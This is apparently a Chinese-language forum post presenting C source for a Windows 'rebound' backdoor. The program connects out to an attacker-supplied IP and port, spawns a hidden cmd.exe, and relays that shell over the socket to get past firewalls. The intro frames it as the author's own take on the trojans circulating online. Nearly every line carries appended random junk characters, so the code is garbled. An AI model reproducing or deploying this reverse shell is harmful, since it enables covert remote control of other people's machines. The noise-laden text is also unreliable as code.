这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^.g-}r8,
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/* ============================== nFI<Te^)
Rebound port in Windows NT xQzW6H|
By wind,2006/7 EB}~^ aY
===============================*/ VK,{Mu=.9
#include ^
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#include *qLk'<
mea}
9]c
#pragma comment(lib,"wsock32.lib") E+e),qsbO
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void OutputShell(); lfd-!(tXD
SOCKET sClient; Jy"\_Vvl
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 20haA0s
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void main(int argc,char **argv) U7g,@/Qx
{ q(R|3l^6T
WSADATA stWsaData; w@6y.v1I{
int nRet; 3QVUWhJ
SOCKADDR_IN stSaiClient,stSaiServer;
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u#y)+A2&!
if(argc != 3) cH:&S=>h
{ kz("LI]
printf("Useage:\n\rRebound DestIP DestPort\n"); o@[o6.B<
return; #4"eQ*.*"
} r4X\/
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WSAStartup(MAKEWORD(2,2),&stWsaData); :J x%K
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ku uiU=
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stSaiClient.sin_family = AF_INET; )Spa
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stSaiClient.sin_port = htons(0); (]&B'1b
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "cjD-42
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GNB'.tJ:0Y
{ B Nb_i H
printf("Bind Socket Failed!\n"); *uccY_
return; f
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} ]c|JxgU
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stSaiServer.sin_family = AF_INET; GiK,+M"d
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q|s:&&Wf
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $[Nf?`f(t_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }vgM$o
{ s[/d}S@ >
printf("Connect Error!"); pzQc UG
return; E[zq<&P@
} saQo]6#
OutputShell(); vgg)f~
} ,+C?UW
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void OutputShell() =,qY\@fq
{ iYw1{U
char szBuff[1024]; $83Qd
SECURITY_ATTRIBUTES stSecurityAttributes; /P46k4M1U
OSVERSIONINFO stOsversionInfo; ux6)K= ]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -*ZQ=nomN
STARTUPINFO stStartupInfo; xdaq` ^Bbt
char *szShell; /n$R-Q
PROCESS_INFORMATION stProcessInformation; P%Q'w
unsigned long lBytesRead; t.O~RE
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #}~?8/h!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; rxJl;!7G
stSecurityAttributes.bInheritHandle = TRUE; [(TmAEON
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8NE[L#k
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u$ o19n
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @(N}
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stStartupInfo.wShowWindow = SW_HIDE; I*a.!/$)
stStartupInfo.hStdInput = hReadPipe; -y3[\zNe
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2lN0Sf@
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GetVersionEx(&stOsversionInfo); ft0d5n!ui4
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switch(stOsversionInfo.dwPlatformId) b`DPlQHj
{ ~-%z:Re'_
case 1: ZdPqU\G^q
szShell = "command.com"; IC$"\7
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break; + ~,q"6
default: If 'N0^'W
szShell = "cmd.exe"; 1E4`&?
break; GN5*
} 1sJz`+\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B !rb*"[
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send(sClient,szMsg,77,0); M-+!z5q~d
while(1) P-yVc2YH
{ C+t|fSJ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z3u6m0!
if(lBytesRead) sE{5&aCSR
{ ~qTChCXP
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4[%_Bnv#AJ
send(sClient,szBuff,lBytesRead,0); ={6vShG)m
} .+u r+"i
else 2'Kh>c2
{ #BH]`A J
lBytesRead=recv(sClient,szBuff,1024,0); X_rv}
if(lBytesRead<=0) break; j9/iBK\Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); g@?R"
} ]S@DVXH
} }#=t%uZ/
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return; }~0}B[Rf
}